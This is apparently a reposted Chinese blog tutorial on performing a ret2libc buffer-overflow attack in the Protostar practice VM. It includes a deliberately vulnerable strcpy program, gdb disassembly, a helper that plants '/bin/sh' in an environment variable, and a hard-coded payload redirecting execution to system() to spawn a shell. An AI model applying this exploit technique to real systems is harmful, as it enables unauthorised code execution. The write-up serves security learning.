实现ret2libc攻击

Posted white-noise

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了实现ret2libc攻击相关的知识,希望对你有一定的参考价值。

  在protostar的stack6练习中,提到了ret2libc,所以这里先对这种攻击手段做一个介绍,学习来源https://www.shellblade.net/docs/ret2libc.pdf,仍旧是在protostar的虚拟机上进行的实验。

背景

  在stack4的练习中,我们用程序中存在的win函数起始地址覆盖了main函数的返回地址。在实际的攻击中,攻击者往往会把自己的shellcode实现导入栈(本地缓冲变量或者环境变量)或堆中(动态分配变量),再将返回地址覆盖为shellcode的地址。为了应对这种攻击手段,出现了一种机制:W^X,限制了内存区域的操作权限为可写或者可执行,在这种情况下,攻击者无法使用自己的shellcode,ret2libc的攻击手法应运而生。
  在ret2libc中,攻击者不再使用自己的shellcode,而是把返回地址指向了C标准函数库中的system()函数(当然也可以指向其他函数,但是有system()这个强大的函数…),system()函数接受一个字符串参数,该参数指定要执行的程序的路径和名称,这样就可以实现任意程序的执行。

栈帧布局

  这个话题在stack4中已经进行过简单的讨论了,这里再做一次总结。

高地址 caller的本地变量
  callee的参数 
  callee的返回地址 
EBP caller的EBP 
ESP callee的本地变量 
低地址  

所以当我们在callee的栈帧中时,可以通过操作EBP获得参数和本地变量(当然也可以用ESP)。

Argument Offset Variable Offset
Argument 1 EBP + 8 Variable 1 EBP - 4 
Argument 2 EBP + 12 Variable 2 EBP - 8
Argument 3 EBP + 16 Variable 3 EBP - 12
Argument N EBP + 8 + 4*(N-1) Variable N EBP - 4N

实验

环境

$ cat /proc/version
Linux version 2.6.32-5-686 (Debian 2.6.32-38) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Mon Oct 3 04:15:24 UTC 2011

存在bug的代码

 1 #include <stdio.h>
 2 #include <string.h>
 3 void bug(char *arg1)
 4 {
 5     char name[128];
 6     strcpy(name, arg1);
 7     printf("Hello %s\n", name);
 8 }
 9 int main(int argc, char **argv)
10 {
11     if (argc < 2)
12     {
13         printf("Usage: %s <your name>\n", argv[0]);
14         return 0;
15     }
16     bug(argv[1]);
17     return 0;
18 }

  可以看到在bug函数中,直接使用strcpy将arg1的值赋给大小为128字节的name变量,这里会发生栈溢出。

步骤

1. 找到返回地址的位置

$ gcc -fno-stack-protector bug.c -o bug

  获得程序的可执行文件bug,接下来查看程序的反汇编结果,从而判断怎么组织payload。

 1 $ gdb -q bug      
 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done.
 3 (gdb) disas bug
 4 Dump of assembler code for function bug:
 5 0x080483f4 <bug+0>:     push   %ebp
 6 0x080483f5 <bug+1>:     mov    %esp,%ebp
 7 0x080483f7 <bug+3>:     sub    $0x98,%esp
 8 0x080483fd <bug+9>:     mov    0x8(%ebp),%eax
 9 0x08048400 <bug+12>:    mov    %eax,0x4(%esp)
10 0x08048404 <bug+16>:    lea    -0x88(%ebp),%eax
11 0x0804840a <bug+22>:    mov    %eax,(%esp)
12 0x0804840d <bug+25>:    call   0x8048320 <[email protected]>
13 0x08048412 <bug+30>:    mov    $0x8048530,%eax
14 0x08048417 <bug+35>:    lea    -0x88(%ebp),%edx
15 0x0804841d <bug+41>:    mov    %edx,0x4(%esp)
16 0x08048421 <bug+45>:    mov    %eax,(%esp)
17 0x08048424 <bug+48>:    call   0x8048330 <[email protected]>
18 0x08048429 <bug+53>:    leave  
19 0x0804842a <bug+54>:    ret    
20 End of assembler dump.
21 (gdb) q

  通过分析反汇编的代码,可以发现name变量位于$ebp-0x88的位置,看一下栈帧布局:

高地址 main的本地变量  
  bug的参数char *arg1 4字节
  bug的返回地址 4字节
EBP main的EBP 4字节
ESP bug的本地变量buffer 136字节
低地址    

  所以如果我们传入的参数长度为136+4+4=144字节,就可以覆盖bug函数的返回地址:

1 $ gdb -q bug      
2 Reading symbols from /home/user/bug...(no debugging symbols found)...done
3 (gdb) r `python -c "print ‘A‘*136+‘B‘*4+‘C‘*4"`
4 Starting program: /home/user/bug `python -c "print ‘A‘*136+‘B‘*4+‘C‘*4"`
5 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
6 
7 Program received signal SIGSEGV, Segmentation fault.
8 0x43434343 in ?? ()
9 (gdb) q

  0x43434343正好是4个‘C‘的ascii值,说明我们的分析正确。

2. 传入system()函数的参数

  要调用system()函数,要提供对应的参数,这里我们使用"/bin/sh"作为参数,所以需要将字符串"/bin/sh"写入内存中。有两种方法:①在传入参数中包含该字符串;②将字符串存入环境变量中。使用第一种方法,字符串"/bin/sh"会保存到bug的栈帧中,由于后续我们会从bug函数返回再调用system()函数,可能会出现覆盖"/bin/sh"的情况,所以使用第二种方法更好。
  虽然将"/bin/sh"放入了内存中,它的起始地址又应该放在哪里呢?再次回到栈帧布局上:
① 假设从bug函数返回后进入了system()函数:

高地址 main的本地变量  
  bug的参数char *arg1  
EBP DUMMY EBP 原本是system的起始地址,执行了system中的push ebp
ESP system的本地变量  
低地址    

② 假设我们已经进入了system()函数的栈帧,同时希望它的参数是"/bin/sh":

高地址 main的本地变量
  system的参数"/bin/sh"
  system的返回地址
EBP DUMMY EBP
ESP system的本地变量
低地址  

③ 对比①②中的两个表,可以获得我们的payload

原值 payload
main的本地变量 "bin/sh"的起始地址
bug的参数char *arg1 system()的返回地址(exit()的起始地址)
bug的返回地址 system()的起始地址
main的EBP "B"*4
bug的本地变量 "A"*136

  这样我们就可以构造出一个完整的payload了。还有一个小的问题,system()函数的返回地址,这里我们使用exit()函数的起始地址,让程序正常退出。

3. 获得相关地址

  首先我们需要把"/bin/sh"写入环境变量,代码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <unistd.h>
 4 int main(int argc, char **argv)
 5 {
 6     char *ptr = getenv("EGG");
 7     if (ptr != NULL)
 8     {
 9         printf("Estimated address: %p\n", ptr);
10         return 0;
11     }
12     printf("Setting up environment...\n");
13     setenv("EGG", "/bin/sh", 1);
14     execl("/bin/sh", (char *)NULL);
15 }

  编译后执行两次,可获得字符串的一个估计地址:

1 $ ./setup 
2 Setting up environent...
3 $ ./setup
4 Estimated address: 0xbfffffa9

  再获得system()和exit()的地址:

 1 $ gdb -q bug
 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done.
 3 (gdb) break main
 4 Breakpoint 1 at 0x804842e
 5 (gdb) r
 6 Starting program: /home/user/bug 
 7 
 8 Breakpoint 1, 0x0804842e in main ()
 9 (gdb) p system
10 $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
11 (gdb) p exit
12 $2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

  最后确定"/bin/sh"的准确地址,这里0xbfffff89是试出来的:

1 (gdb) x/4s 0xbfffff89
2 0xbfffff89:      "ELL=/bin/sh"
3 0xbfffff95:      "EGG=/bin/sh"
4 0xbfffffa1:      "PWD=/home/user"
5 0xbfffffb0:      "SSH_CONNECTION=192.168.60.1 57969 192.168.60.131 22"

  再加上"EGG="的偏移量,可以获得字符串的起始地址,所以:

1 0xb7ecffb0: system()
2 0xb7ec60c0: exit()
3 0xbfffff99: "/bin/sh"

4. 构造payload

Payload = "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"

注意这里的字节顺序,原因在之前的文章有提过,因为protostar虚拟机是little endian。

5. 攻击

  这里还有一个问题,环境变量在gdb和在外界的命令行中的位置还是有一些差异,看一下输出结果:

1 $ ./bug `python -c print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"`
2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
3 
4                                         sh: n/sh: not found

  可以看到"n/sh"是"/bin/sh"的一部分,需要前移3个字节:

1 $ ./bug `python -c print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x96\xff\xff\xbf"`
2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
3 
4                                         $ 

  以上就实现了一次ret2libc攻击。需要注意的是,在这次攻击以及protostar中的练习都是直接将地址硬编码进行payload中,并没有考虑到ASLR的情况,protostar虚拟机已经关闭了ASLR,所以练习才可以顺利完成。

以上是关于实现ret2libc攻击的主要内容,如果未能解决你的问题,请参考以下文章

内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

PWN菜鸡入门之栈溢出 —— ret2libc与动态链接库的关系

64位linux系统:栈溢出+ret2libc ROP attack

Linux下利用Ret2Libc绕过DEP

使用ROP攻击技术

堆栈认知——栈溢出实例(ret2libc)